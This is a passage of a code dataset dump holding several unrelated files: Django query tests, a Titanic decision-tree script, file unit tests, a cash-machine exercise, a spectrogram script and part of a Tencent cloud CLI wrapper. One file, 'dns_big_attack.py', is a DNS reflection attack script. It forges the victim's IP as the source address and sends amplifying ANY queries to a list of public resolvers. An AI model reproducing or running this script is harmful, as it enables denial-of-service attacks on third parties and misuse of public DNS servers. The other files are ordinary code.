[QueryField(\"yata__yata\")], [])\n bound_query = BoundQuery.bind(query, orm_models)\n assert [f.path for f in bound_query.fields] == []\n\n def test_bad_fk_field(self, orm_models):\n query = Query(\"app.model\", [QueryField(\"tom__yata\")], [])\n bound_query = BoundQuery.bind(query, orm_models)\n assert [f.path for f in bound_query.fields] == []\n\n def test_bad_fk_field_aggregate(self, orm_models):\n query = Query(\"app.model\", [QueryField(\"tom__jones__yata\")], [])\n bound_query = BoundQuery.bind(query, orm_models)\n assert [f.path for f in bound_query.fields] == []\n\n def test_bad_long_fk(self, orm_models):\n query = Query(\"app.model\", [QueryField(\"yata__yata__yata\")], [])\n bound_query = BoundQuery.bind(query, orm_models)\n assert [f.path for f in bound_query.fields] == []\n\n def test_aggregate(self, orm_models):\n query = Query(\"app.model\", [QueryField(\"tom__jones__count\")], [])\n bound_query = BoundQuery.bind(query, orm_models)\n assert [f.path for f in bound_query.fields] == [[\"tom\", \"jones\", \"count\"]]\n\n def test_piovt_aggregate(self, orm_models):\n query = Query(\"app.model\", [QueryField(\"tom__jones__count\", pivoted=True)], [])\n bound_query = BoundQuery.bind(query, orm_models)\n assert [f.pivoted for f in bound_query.fields] == [False]\n\n def test_piovt(self, orm_models):\n query = Query(\"app.model\", [QueryField(\"tom__jones\", pivoted=True)], [])\n bound_query = BoundQuery.bind(query, orm_models)\n assert [f.pivoted for f in bound_query.fields] == [True]\n\n def test_bad_filter(self, orm_models):\n query = Query(\"app.model\", [], [QueryFilter(\"yata\", \"equals\", \"fred\")])\n bound_query = BoundQuery.bind(query, orm_models)\n assert [f.path for f in bound_query.filters] == []\n\n def test_bad_filter_value(self, orm_models):\n query = Query(\n \"app.model\",\n [],\n [QueryFilter(\"num\", \"equals\", \"fred\"), QueryFilter(\"num\", \"equals\", 1)],\n )\n bound_query = BoundQuery.bind(query, orm_models)\n assert [f.value for f in bound_query.filters] == [\"fred\", 1]\n assert [f.value for f in bound_query.valid_filters] == [1]\n\n def test_fk(self, orm_models):\n query = Query(\"app.model\", [QueryField(\"tom\")], [])\n bound_query = BoundQuery.bind(query, orm_models)\n assert [f.path for f in bound_query.fields] == []\n\n def test_filter_calculated_field(self, orm_models):\n query = Query(\"app.model\", [], [QueryFilter(\"fn\", \"equals\", \"fred\")])\n bound_query = BoundQuery.bind(query, orm_models)\n assert [f.path for f in bound_query.filters] == []\n\n\nclass TestType:\n def test_repr(self):\n assert repr(StringType) == f\"StringType\"\n\n\nclass TestStringType:\n @pytest.mark.django_db\n def test_validate(self):\n assert StringType.parse(\"contains\", \"hello\") == (\"hello\", None)\n assert StringType.parse(\"pontains\", \"hello\") == (None, ANY(str))\n assert StringType.parse(\"regex\", \".*\") == (\".*\", None)\n assert StringType.parse(\"regex\", \"\\\\\") == (None, ANY(str))\n\n def test_default_lookup(self):\n assert StringType.default_lookup == \"equals\"\n\n def test_format(self):\n assert StringType.get_formatter(None)(\"bob\") == \"bob\"\n assert StringType.get_formatter(None)(None) is None\n\n\nclass TestNumberType:\n def test_validate(self):\n assert NumberType.parse(\"gt\", \"6.1\") == (6.1, None)\n assert NumberType.parse(\"pontains\", \"6.1\") == (None, ANY(str))\n assert NumberType.parse(\"gt\", \"hello\") == (None, ANY(str))\n assert NumberType.parse(\"is_null\", \"True\") == (True, None)\n assert NumberType.parse(\"is_null\", \"hello\") == (None, ANY(str))\n\n def test_default_lookup(self):\n assert NumberType.default_lookup == \"equals\"\n\n def test_format(self):\n assert NumberType.get_formatter(None)(6) == 6\n assert NumberType.get_formatter(None)(None) is None\n\n\nclass TestYearType:\n def test_validate(self):\n assert YearType.parse(\"gt\", \"6\") == (6, None)\n assert YearType.parse(\"pontains\", \"6.1\") == (None, ANY(str))\n assert YearType.parse(\"gt\", \"hello\") == (None, ANY(str))\n assert YearType.parse(\"is_null\", \"True\") == (True, None)\n assert YearType.parse(\"is_null\", \"hello\") == (None, ANY(str))\n assert YearType.parse(\"equals\", \"0\") == (None, ANY(str))\n\n def test_default_lookup(self):\n assert YearType.default_lookup == \"equals\"\n\n def test_format(self):\n assert YearType.get_formatter(None)(6) == 6\n assert YearType.get_formatter(None)(None) is None\n\n\nclass TestDateTimeType:\n def test_validate(self):\n assert DateTimeType.parse(\"gt\", \"2018-03-20T22:31:23\") == (ANY(datetime), None)\n assert DateTimeType.parse(\"gt\", \"hello\") == (None, ANY(str))\n assert DateTimeType.parse(\"pontains\", \"2018-03-20T22:31:23\") == (None, ANY(str))\n assert DateTimeType.parse(\"is_null\", \"True\") == (True, None)\n assert DateTimeType.parse(\"is_null\", \"hello\") == (None, ANY(str))\n assert DateTimeType.parse(\"gt\", \"now\") == (ANY(datetime), None)\n assert DateTimeType.parse(\"gt\", \"11-22-2018\") == (ANY(datetime), None)\n assert DateTimeType.parse(\"gt\", \"21-12-2018\") == (ANY(datetime), None)\n assert DateTimeType.parse(\"gt\", \"11-12-2018\") == (None, ANY(str))\n assert DateTimeType.parse(\"gt\", \"21-22-2018\") == (None, ANY(str))\n\n def test_default_lookup(self):\n assert DateTimeType.default_lookup == \"equals\"\n\n @pytest.mark.django_db\n def test_aware_format(self, settings):\n settings.USE_TZ = True\n assert (\n DateTimeType.get_formatter(None)(\n datetime(2020, 5, 19, 8, 42, 16, tzinfo=timezone.utc)\n )\n == \"2020-05-19 08:42:16\"\n )\n assert DateTimeType.get_formatter(None)(None) is None\n\n @pytest.mark.django_db\n def test_naive_format(self, settings):\n settings.USE_TZ = False\n assert (\n DateTimeType.get_formatter(None)(datetime(2020, 5, 19, 8, 42, 16))\n == \"2020-05-19 08:42:16\"\n )\n assert DateTimeType.get_formatter(None)(None) is None\n\n\nclass TestDurationType:\n def test_validate(self):\n assert DurationType.parse(\"gt\", \"5 days\") == (timedelta(days=5), None)\n assert DurationType.parse(\"gt\", \"5 5:5\") == (\n timedelta(days=5, hours=5, minutes=5),\n None,\n )\n assert DurationType.parse(\"gt\", \"5 dayss\") == (None, ANY(str))\n assert DurationType.parse(\"pontains\", \"5 days\") == (None, ANY(str))\n assert DurationType.parse(\"is_null\", \"True\") == (True, None)\n assert DurationType.parse(\"is_null\", \"hello\") == (None, ANY(str))\n\n def test_default_lookup(self):\n assert DurationType.default_lookup == \"equals\"\n\n def test_format(self):\n assert (\n DurationType.get_formatter(None)(timedelta(days=5, minutes=6))\n == \"5 days, 0:06:00\"\n )\n assert DurationType.get_formatter(None)(timedelta(minutes=6)) == \"0:06:00\"\n assert DurationType.get_formatter(None)(None) is None\n\n\nclass TestDateType:\n def test_validate(self):\n assert DateType.parse(\"gt\", \"2018-03-20T22:31:23\") == (ANY(date), None)\n assert DateType.parse(\"gt\", \"hello\") == (None, ANY(str))\n assert DateType.parse(\"pontains\", \"2018-03-20T22:31:23\") == (None, ANY(str))\n assert DateType.parse(\"is_null\", \"True\") == (True, None)\n assert DateType.parse(\"is_null\", \"hello\") == (None, ANY(str))\n assert DateType.parse(\"gt\", \"today\") == (ANY(date), None)\n assert DateType.parse(\"gt\", \"11-22-2018\") == (ANY(date), None)\n assert DateType.parse(\"gt\", \"21-12-2018\") == (ANY(date), None)\n assert DateType.parse(\"gt\", \"11-12-2018\") == (None, ANY(str))\n assert DateType.parse(\"gt\", \"21-22-2018\") == (None, ANY(str))\n\n def test_default_lookup(self):\n assert DateType.default_lookup == \"equals\"\n\n def test_format(self):\n assert DateType.get_formatter(None)(date(2020, 5, 19)) == \"2020-05-19\"\n assert DateType.get_formatter(None)(None) is None\n\n\nclass TestWeekDayType:\n def test_validate(self):\n assert WeekDayType.parse(\"equals\", \"Sunday\") == (1, None)\n assert WeekDayType.parse(\"equals\", \"Saturday\") == (7, None)\n assert WeekDayType.parse(\"equals\", \"Bob\") == (None, ANY(str))\n assert WeekDayType.parse(\"gt\", \"Monday\") == (None, ANY(str))\n\n def test_format(self):\n assert WeekDayType.get_formatter(None)(1) == \"Sunday\"\n assert WeekDayType.get_formatter(None)(7) == \"Saturday\"\n assert WeekDayType.get_formatter(None)(None) is None\n\n def test_default_lookup(self):\n assert WeekDayType.default_lookup == \"equals\"\n\n\nclass TestMonthType:\n def test_validate(self):\n assert MonthType.parse(\"equals\", \"January\") == (1, None)\n assert MonthType.parse(\"equals\", \"December\") == (12, None)\n assert MonthType.parse(\"equals\", \"Bob\") == (None, ANY(str))\n assert MonthType.parse(\"gt\", \"January\") == (None, ANY(str))\n\n def test_format(self):\n assert MonthType.get_formatter(None)(1) == \"January\"\n assert MonthType.get_formatter(None)(12) == \"December\"\n assert MonthType.get_formatter(None)(None) is None\n\n def test_default_lookup(self):\n assert MonthType.default_lookup == \"equals\"\n\n\nclass TestBooleanType:\n def test_validate(self):\n assert BooleanType.parse(\"equals\", \"True\") == (True, None)\n assert BooleanType.parse(\"equals\", \"False\") == (False, None)\n assert BooleanType.parse(\"equals\", \"hello\") == (None, ANY(str))\n assert BooleanType.parse(\"pontains\", \"True\") == (None, ANY(str))\n\n def test_format(self):\n assert BooleanType.get_formatter(None)(None) is None\n\n def test_default_lookup(self):\n assert BooleanType.default_lookup == \"equals\"\n\n\nclass TestStringChoiceType:\n def test_format(self):\n assert (\n StringChoiceType.get_formatter([(\"a\", \"A\"), (\"b\", \"B\"), (\"c\", \"C\")])(\"b\")\n == \"B\"\n )\n assert (\n StringChoiceType.get_formatter([(\"a\", \"A\"), (\"b\", \"B\"), (\"c\", \"C\")])(None)\n is None\n )\n\n def test_bad_value(self):\n assert (\n StringChoiceType.get_formatter([(\"a\", \"A\"), (\"b\", \"B\"), (\"c\", \"C\")])(\"x\")\n == \"x\"\n )\n\n\nclass TestNumberChoiceType:\n def test_format(self):\n assert NumberChoiceType.get_formatter([(1, \"A\"), (2, \"B\"), (3, \"C\")])(2) == \"B\"\n assert (\n NumberChoiceType.get_formatter([(1, \"A\"), (2, \"B\"), (3, \"C\")])(None) is None\n )\n\n def test_bad_value(self):\n assert NumberChoiceType.get_formatter([(1, \"A\"), (2, \"B\"), (3, \"C\")])(6) == 6\n\n\nclass TestHTMLType:\n def test_format(self):\n assert HTMLType.get_formatter(None)(None) is None\n\n\nclass TestIsNullType:\n def test_format(self):\n assert IsNullType.get_formatter(None)(True) == \"IsNull\"\n assert IsNullType.get_formatter(None)(False) == \"NotNull\"\n assert IsNullType.get_formatter(None)(None) is None\n\n\nclass TestUnknownType:\n def test_format(self):\n assert UnknownType.get_formatter(None)(None) is None\n","sub_path":"tests/test_query.py","file_name":"test_query.py","file_ext":"py","file_size_in_byte":19335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"111003972","text":"import pandas as pd\nimport seaborn\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import tree\nfrom sklearn.model_selection import train_test_split, cross_val_score\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import roc_curve, auc, precision_score, recall_score\n\ntitanic_data = pd.read_csv('C:/Users/ediga/Projects/Python_Ln/Data/Files/train.csv')\n# print(titanic_data.isnull().sum()) # пропущенные значения\nX = titanic_data.drop(['PassengerId', 'Survived', 'Name', 'Ticket', 'Cabin'], axis=1)\nX = pd.get_dummies(X) # классная штука, заменяет значения, где возможно на 1 и 0\ny = titanic_data.Survived\nX = X.fillna({'Age': X.Age.median()}) # заполняем пустые значения медианой\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33, random_state=42)\n# разбиваем датафрейм и серию на несколько переменных для теста и тренинга\n\nclf = tree.DecisionTreeClassifier(criterion='entropy', max_depth=5)\nclf.fit(X, y)\n# tree.plot_tree(clf.fit(X, y), feature_names=list(X), filled=True)\n# print(clf.score(X, y)) # точность наблюдений\n\nscores_data = pd.DataFrame()\nmax_depth_values = range(1, 100)\n\nfor max_depth in max_depth_values:\n clf = tree.DecisionTreeClassifier(criterion='entropy', max_depth=max_depth)\n clf.fit(X_train, y_train)\n score = clf.score(X_train, y_train)\n test = clf.score(X_test, y_test)\n temp_score_data = pd.DataFrame({'max_depth': [max_depth],\n 'score': [score],\n 'test': [test]})\n scores_data = scores_data.append(temp_score_data)\nscores_data_long = pd.melt(scores_data,\n id_vars=['max_depth'],\n value_vars=['score', 'test'],\n var_name='set_type', value_name='score')\n# преобразовываем две колонки в одну со значениями\n# print(sns.lineplot(data=scores_data_long, x='max_depth', y='score', hue='set_type'))\nclf = tree.DecisionTreeClassifier(criterion='entropy', max_depth=4)\n# print(cross_val_score(clf, X_train, y_train, cv=5))\n# # валидацияяя!!!!))))\n# print(scores_data_long.query('set_type == \"cross_val_score\"').head(20))\n# print(cross_val_score(clf, X_test, y_test, cv=5).mean())\n\nparametrs = {'criterion': ['gini', 'entropy'], 'max_depth': range(1, 30)}\nclf_2 = tree.DecisionTreeClassifier()\ngrid_search_cv_clf = GridSearchCV(clf_2, parametrs, cv=5)\ngrid_search_cv_clf.fit(X_train, y_train)\nprint(grid_search_cv_clf.best_params_)\n# без всяких переборов, все делается за нас))) Лучшая глубина для выборки с валидацией\nbest_clf_2 = grid_search_cv_clf.best_estimator_\n# записали лучший классификатор\nprint(best_clf_2.score(X_test, y_test))\ny_pred = best_clf_2.predict(X_test)\n# записываем предсказанное значение\nprint(precision_score(y_test, y_pred), recall_score(y_test, y_pred))\ny_predicted_prob = best_clf_2.predict_proba(X_test)\nprint(pd.Series(y_predicted_prob[:, 1]).hist())\n# построили более наглядную гистограмму, все проще и понятнее\ny_pred2 = np.where(y_predicted_prob[:, 1] > 0.8, 1, 0)\n# преобразовываем в 1 и 0 по заданным параметрам\nprint(precision_score(y_test, y_pred2), recall_score(y_test, y_pred2))\n\nlw = 5\nfpr, tpr, thresholds = roc_curve(y_test, y_predicted_prob[:,1])\nroc_auc= auc(fpr, tpr)\nplt.figure()\nplt.plot(fpr, tpr, color='darkorange',\n lw=lw, label='ROC curve (area = %0.2f)' % roc_auc)\nplt.plot([0, 1], [0, 1], color='navy', lw=lw, linestyle='--')\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('Receiver operating characteristic example')\nplt.legend(loc=\"lower right\")\nplt.show()\n# строим график и смотрим результаты\n","sub_path":"Code/data3.py","file_name":"data3.py","file_ext":"py","file_size_in_byte":4145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"570446855","text":"#-*- coding: utf-8 -*-\n\n'''\nCreated on 18-07-2012\n\n@version: 0.1\n@author: Lukasz 'Pujan' Pelc\n@contact: lukasz.pelc.81@gmail.com\n@copyright: 2012\n@license: open source\n'''\n\nimport unittest\nimport os\nfrom modules import file\n\nclass TestFile(unittest.TestCase):\n def setUp(self):\n self.path = '../data.dat' # temp data file for tests\n self.f = file.File(self.path)\n self.conv = file.DictString()\n \n self.sData = 'https://www.google.pl/#hl=pl&sclient=psy-ab&q=cyfrowy+polsat&'\n self.sData += 'oq=cyfrowy+&gs_l=hp.3.0.0l10.5633682.5635312.3.5636757.8.5.0.3.3.'\n self.sData += '0.267.743.0j4j1.5.0...0.0...1c.iwWnhQOStPc&psj=1&bav=on.2,or.r_gc'\n self.sData += '.r_pw.r_cp.r_qf.,cf.osb&fp=5ce4d70cb58fe2ee&biw=1275&bih=894\\t'\n self.sData += 'c2b506acfb14de6eb89afd3041ed9aba\\n'\n self.sData += 'https://sites.google.com/site/asciigamegrsh/\\t02cf05145b179f964db60885f6c533cf\\n'\n self.sData += 'http://jakis.link.pl/jakis-plik.html\\t7ee63697ffc7906eec801e1c75098504'\n \n self.dData = {}\n self.dData['http://jakis.link.pl/jakis-plik.html'] \\\n = '7ee63697ffc7906eec801e1c75098504'\n self.dData['https://sites.google.com/site/asciigamegrsh/'] \\\n = '02cf05145b179f964db60885f6c533cf'\n self.dData['https://www.google.pl/#hl=pl&sclient=psy-ab&q=cyfrowy+polsat&'\n 'oq=cyfrowy+&gs_l=hp.3.0.0l10.5633682.5635312.3.5636757.8.5.0.3.3.'\\\n '0.267.743.0j4j1.5.0...0.0...1c.iwWnhQOStPc&psj=1&bav=on.2,or.r_gc'\\\n '.r_pw.r_cp.r_qf.,cf.osb&fp=5ce4d70cb58fe2ee&biw=1275&bih=894'] \\\n = 'c2b506acfb14de6eb89afd3041ed9aba'\n \n # create file for tests\n fp = open(self.path, 'w')\n fp.write(self.sData)\n fp.close()\n \n #self.f.open(self.path)\n\n def tearDown(self):\n # delete file\n os.unlink(self.path)\n \n # close file\n self.f.close()\n \n \n def testOpenFile(self):\n '''Test open file and member varialbles'''\n \n res = self.f.open(self.path)\n \n self.assertTrue(res, 'Error open file: ' + self.f.error)\n self.assertTrue(self.f.opened, 'Error variable oppened is False: ' + self.f.error)\n self.assertIsNotNone(self.f.file, 'Error variable file is None: ' + self.f.error)\n \n def testDictToString(self):\n '''Test convert dictionary to string'''\n \n Str = self.conv.dict2data(self.dData)\n \n #print str\n #print '-------------------------------------------------'\n #print self.sData\n \n self.assertIsNot(Str, '', 'Error convert dict to str: ' + self.f.error)\n \n def testStringToDict(self):\n '''Test convert string to dictionary'''\n \n dic = self.conv.data2dict(self.sData)\n \n self.assertIsNot(dic, {}, 'Error convert str to dict!')\n \n def testAppendFile(self):\n '''Test append string to end file'''\n \n self.f.open(self.path)\n res = self.f.append('http://localhost/\\tc9db569cb388e160e4b86ca1ddff84d7')\n #self.f.close()\n \n self.assertTrue(res, 'Error append to file')\n \n def testSaveFile(self):\n '''Test save file'''\n \n self.f.open(self.path)\n res = self.f.save(self.dData)\n #self.f.close()\n \n self.assertTrue(res, 'Error save to file: ' + self.f.error)\n\n def testLoadFile(self):\n '''Test load data from file'''\n \n self.f.open(self.path)\n dic = self.f.load()\n #self.f.close()\n \n self.assertIsNotNone(dic, 'Error load data from file: ' + self.f.error)\n \n# end class TestFile\n\nif __name__ == \"__main__\":\n #import sys;sys.argv = ['', 'Test.testName']\n unittest.main()\n","sub_path":"src/tests/testfile.py","file_name":"testfile.py","file_ext":"py","file_size_in_byte":3849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"257620381","text":"#!/usr/bin/env python \n# -*- coding:utf-8 -*-\n\nfrom scapy.all import *\nimport os\nimport sys\nimport threading\n\nif len(sys.argv) !=3:\n print(\"请输入正确的格式!\")\n print(\"正确的格式为:被攻击ip 线程数\")\n sys.exit()\n\ntarget=str(sys.argv[1])\nthreads=int(sys.argv[2])\ndns_list=['119.29.29.29','223.5.5.5','114.114.114.114','180.76.76.76','123.125.81.6','1.2.4.8','117.50.11.11','8.8.8.8','1.1.1.1']\n\ndef dnsattack(dns):\n i=IP(dst=dns,src=target)\n u=UDP(dport=53)\n d=DNS(rd=1,qdcount=1)\n d.qd=DNSQR(qname=\"baidu.com\",qtype=255)\n r=(i/u/d)\n res=sr1(r)\n print(res)\n\ndef main():\n dns=\"114.114.114.114\"\n dnsattack(dns)\n\nif __name__ == '__main__':\n main()","sub_path":"dns_big_attack.py","file_name":"dns_big_attack.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"314692190","text":"\"\"\"\nFaça um Programa para um caixa eletrônico. O programa deverá perguntar ao usuário a valor do saque e depois informar\nquantas notas de cada valor serão fornecidas. As notas disponíveis serão as de 2, 5, 10, 20, 50 e 100 reais.\nO valor mínimo é de 10 reais e o máximo de 600 reais. O programa não deve se preocupar com a quantidade de notas\nexistentes na máquina.\nExemplo 1: Para sacar a quantia de 256 reais, o programa fornece duas notas de 100, uma nota de 50 e uma três notas de 2\nExemplo 2: Para sacar a quantia de 399 reais, o programa fornece três notas de 100, uma nota de 50, quatro notas de 10,\numa nota de 5 e duas notas de 2.\n\"\"\"\nprint('='*30)\nprint('{:^30}'.format('BEM VINDO AO BANCO TABAJARA'))\nprint('='*30)\n\nsaque = int(input('Qual é o valor em R$ que você deseja sacar?: '))\n\nnota = 100\ntotal_notas = 0\nwhile True:\n if saque >= nota:\n saque -= nota\n total_notas += 1\n else:\n if total_notas > 0:\n print(f'Total de {total_notas} notas de R${nota}')\n if nota == 100:\n nota = 50\n elif nota == 50:\n nota = 20\n elif nota == 20:\n nota = 10\n elif nota == 10:\n nota = 5\n elif nota == 5:\n nota = 2\n total_notas = 0\n if saque == 0:\n break\nprint('='*30)\nprint('Tenha um bom dia e volte sempre!')","sub_path":"caixa_eletronico.py","file_name":"caixa_eletronico.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"223702180","text":"import os\nimport errno\n\nimport sys\n\nfrom config import rawDataPath\nfrom config import spectrogramsPath\nfrom subprocess import Popen, PIPE, STDOUT\n\ncurrentPath = os.path.dirname(os.path.realpath(__file__))\n\n# Creates .png whole spectrograms from mp3 files\ndef createSpectrogramsFromAudio():\n genresID = dict()\n files = os.listdir(rawDataPath)\n files = [file for file in files if file.endswith(\".mp3\")]\n nbFiles = len(files)\n \n\n # Create path if not existing\n if not os.path.exists(os.path.dirname(spectrogramsPath)):\n try:\n os.makedirs(os.path.dirname(spectrogramsPath))\n except OSError as exc: # Guard against race condition\n if exc.errno != errno.EEXIST:\n raise\n #print(\"Files in \", rawDataPath, \": \", files);\n\n for index, filename in enumerate(files):\n newFilename = filename\n newFilename.replace(\".mp3\", \"\")\n print(filename, \" \", index, \"/\", nbFiles)\n command = \"call Tools/createSpectrograms.bat {} {} 2.54\".format(filename, newFilename)\n os.system(command)\n\n # Rename files according to genre\n # for index, filename in enumerate(files):\n # print(\"Creating spectrogram for file {}/{}...\".format(index + 1, nbFiles))\n # fileGenre = getGenre(rawDataPath + filename)\n # genresID[fileGenre] = genresID[fileGenre] + 1 if fileGenre in genresID else 1\n # fileID = genresID[fileGenre]\n # newFilename = fileGenre + \"_\" + str(fileID)\n # createSpectrogram(filename, newFilename)\n\n\t\t\t\ndef testSpec():\n\tcommand = \"call Tools/createSpectrograms.bat {} Data/tmp/{}.mp3 2.54\".format(\"toto.mp3\", \"toto\")\n\t\t\t\n#testSpec()\t\ncreateSpectrogramsFromAudio()","sub_path":"trash/1_CreateSpectrograme.py","file_name":"1_CreateSpectrograme.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"430178668","text":"# coding: utf-8\n\nfrom __future__ import print_function\n\nimport sys\nimport json\nimport logging\nimport argparse\nimport importlib\nimport subprocess\nfrom functools import partial\nfrom collections import defaultdict\n\nfrom sa_tools_core.utils import get_os_username, jprint\nfrom sa_tools_core.consts import (BS_API_REQUESTS_MODULE_PREFIX,\n BS_CMD_PATTERN,\n BS_DEFAULT_ATTRS,\n BS_DEFAULT_PARAMS,\n BS_DEFAULT_PARAMS_BM,\n BS_PLURAL_SUFFIX)\n\nlogger = logging.getLogger(__name__)\n\n\"\"\"\n参数输入处理规则\ninstanceId -> alias\nsubnetId -> subnetName -> cidrBlock\nvpcId -> vpcName -> cidrBlock\neipId -> eipName -> eip\nvpcIp == ip\n\n复杂结构 params:\n list、dict\nlist params input, don't use json\n ip -> ipList, ips\n instanceId -> instanceIds\n若 list 跟 dict 嵌套,将 list 抹掉: subnetSet\n\"\"\"\n\n# TODO: support Chinese help message (但 qcloudcli 跟这个文档并不完全对应)\n# https://cloud.tencent.com/document/api/386/6632\n\naction_mapping = defaultdict(dict)\n\n# TODO: add PARAM_MAPPING for cvm\nPARAM_MAPPING = {\n 'instanceId': (['alias'], ['get_data_for_reduce', 'bm', 'list'],\n lambda x: [i['instanceId'] for i in x[0].get('deviceList', []) if i['alias'] == x[1]['alias']][0],\n ),\n 'subnetId': (['subnetName'], ['get_data_for_reduce', 'bmvpc', 'subnet'],\n lambda x: [i['subnetId'] for i in x[0] if i['subnetName'] == x[1]['subnetName']][0],\n ),\n 'unSubnetId': (['subnetName'], ['get_data_for_reduce', 'bmvpc', 'subnet'],\n lambda x: [i['unSubnetId'] for i in x[0] if i['subnetName'] == x[1]['subnetName']][0],\n ),\n 'vpcId': (['vpcName'], ['get_data_for_reduce', 'bmvpc', 'list'],\n lambda x: [i['vpcId'] for i in x[0] if i['vpcName'] == x[1]['vpcName']][0],\n ),\n # NOTE: eips -> eipIds; --eip is not valid, will get all eips, but result will be fine if there're not many eips.\n # we hack this in get_data_for_reduce.\n 'eipId': (['eip'], ['get_data_for_reduce', 'bmeip', 'list'],\n lambda x: [i['eipId'] for i in x[0].get('eipSet', []) if i['eip'] == x[1]['eip']][0],\n ),\n\n 'ipList': (['ip'], ['list2json']),\n 'ips': (['ip'], ['list2json']),\n 'instanceIds': (['instanceId'], ['list2json']),\n 'eipIds': (['eipId'], ['list2json']),\n 'eips': (['eip'], ['list2json']),\n 'aliases': (['alias'], ['list2json']),\n\n 'subnetSet': (['subnetName', 'cidrBlock'], ['list2json']),\n}\n\n\ndef translate_param(args, param_key, new_params=None):\n logger.debug('translate_param(args=%s, param_key=%s, new_params=%s)', args, param_key, new_params)\n param_translate_rule = PARAM_MAPPING[param_key]\n\n # e.g. instanceIds -> instanceId -> alias\n if len(param_translate_rule[0]) == 1:\n intermediate_param_key = param_translate_rule[0][0]\n if intermediate_param_key in PARAM_MAPPING and getattr(args, intermediate_param_key) is None:\n _param_key = PARAM_MAPPING[intermediate_param_key][0][0]\n if isinstance(getattr(args, _param_key), list):\n rets = [translate_param(args, intermediate_param_key, {_param_key: i})\n for i in getattr(args, _param_key)]\n new_params = {intermediate_param_key: rets}\n if all((v is None or isinstance(v, list) and all(i is None for i in v)) for v in new_params.values()):\n new_params = None\n\n if new_params is None:\n new_params = {k: getattr(args, k) for k in param_translate_rule[0]}\n if all(v is None for v in new_params.values()):\n return\n\n def _func(r, f):\n if not isinstance(f, list):\n f = [f]\n _f = f[0]\n if not callable(_f):\n _f = globals()[_f]\n return partial(_f, *f[1:])(r)\n\n try:\n ret = reduce(_func, param_translate_rule[1:], new_params)\n except IndexError:\n return\n return ret\n\n\ndef list2json(params):\n logger.debug('list2json(params=%s)', params)\n if len(params) == 1:\n obj = params.values()[0]\n else:\n n = len(params.values()[0])\n assert all(len(v) == n for v in params.values())\n obj = [{k: v[i] for k, v in params.items() if v[i] is not None} for i in range(n)]\n if not obj:\n return\n return json.dumps(obj).replace('\"', '\\\\\"')\n\n\ndef action_simplify(action, mod_suffix=''):\n mod_suffix = mod_suffix.lstrip('bm')\n if mod_suffix:\n mod_suffix = mod_suffix[0].upper() + mod_suffix[1:]\n action = (action.replace('Get', '')\n .replace('Describe', '')\n .replace('Description', '')\n .replace('UnBind', 'Unbind')\n .replace('LoadBalancer', 'Lb')\n .replace('Ex', '')\n .replace(mod_suffix, '')\n .replace('Bm', '')\n .replace('Query', ''))\n action = ''.join(['_%s' % c.lower() if c.isupper() else c for c in action])[1:]\n return action\n\n\ndef populate_subparser(parser, mod_suffix=''):\n mod_suffix = mod_suffix.lower()\n parser.set_defaults(mod_suffix=mod_suffix)\n\n module_path = BS_API_REQUESTS_MODULE_PREFIX + mod_suffix\n mod = importlib.import_module(module_path)\n mod_suffix = mod_suffix if mod_suffix.lstrip('bm') else 'device'\n mapping = action_mapping[mod_suffix]\n for action in dir(mod):\n if action.endswith('Request'):\n orig_action = action[:-len('Request')]\n simple_action = action_simplify(orig_action, mod_suffix=mod_suffix)\n mapping[simple_action or 'list'] = orig_action\n\n subparsers = parser.add_subparsers(help='Sub commands')\n for simple_action, orig_action in mapping.items():\n action_parser = subparsers.add_parser(simple_action, help='')\n action_parser.add_argument('-r', '--raw', action='store_true', help='raw output.')\n action_parser.add_argument('-j', '--json', action='store_true', help='json format output.')\n action_parser.add_argument('-a', '--attrs', nargs='*', default=list(BS_DEFAULT_ATTRS),\n help='the attrs that should be output. (default: %(default)s)')\n action_parser.add_argument('-e', '--extra-attrs', nargs='*',\n help='the extra-attrs that should be output.')\n action_parser.add_argument('-s', '--sep', default=', ', help='separator, (default: %(default)s)')\n\n action_parser.set_defaults(orig_action=orig_action)\n action_mod = getattr(mod, orig_action + 'Request')\n action_cls = getattr(action_mod, orig_action + 'Request')\n param_keys = {param[len('set_'):] for param in action_cls.__dict__ if param.startswith('set_')}\n action_parser.set_defaults(param_keys=param_keys)\n translate_param_keys = set()\n translate_added_param_keys = set()\n extra_new_param_keys = defaultdict(list)\n logger.debug('mod: %s, action: %s, param_keys: %s', mod_suffix, simple_action, param_keys)\n for param_key in param_keys:\n # original params\n kw = {}\n if mod_suffix.startswith('bm') and param_key in BS_DEFAULT_PARAMS_BM:\n kw['default'] = BS_DEFAULT_PARAMS_BM[param_key]\n kw['help'] = '(default: %(default)s)'\n elif param_key in BS_DEFAULT_PARAMS:\n kw['default'] = BS_DEFAULT_PARAMS[param_key]\n kw['help'] = '(default: %(default)s)'\n action_parser.add_argument('--%s' % param_key, **kw)\n\n # translated params\n if param_key in PARAM_MAPPING:\n new_param_keys = PARAM_MAPPING[param_key][0]\n\n if len(new_param_keys) == 1 and new_param_keys[0] in PARAM_MAPPING:\n extra_new_param_keys[param_key] += PARAM_MAPPING[new_param_keys[0]][0]\n\n if all(new_param_key not in param_keys for new_param_key in new_param_keys):\n translate_param_keys.add(param_key)\n kw = {}\n kw['help'] = 'translated param -> %s' % param_key\n if any(param_key.endswith(suffix) for suffix in BS_PLURAL_SUFFIX):\n kw['nargs'] = '*'\n for new_param_key in new_param_keys:\n if new_param_key in translate_added_param_keys:\n continue\n try:\n action_parser.add_argument('--%s' % new_param_key, **kw)\n logger.debug('add new_param_key: %s', new_param_key)\n translate_added_param_keys.add(new_param_key)\n except Exception:\n logger.error('param_keys: %s, translate_added_param_keys: %s, new_param_key: %s',\n param_keys, translate_added_param_keys, 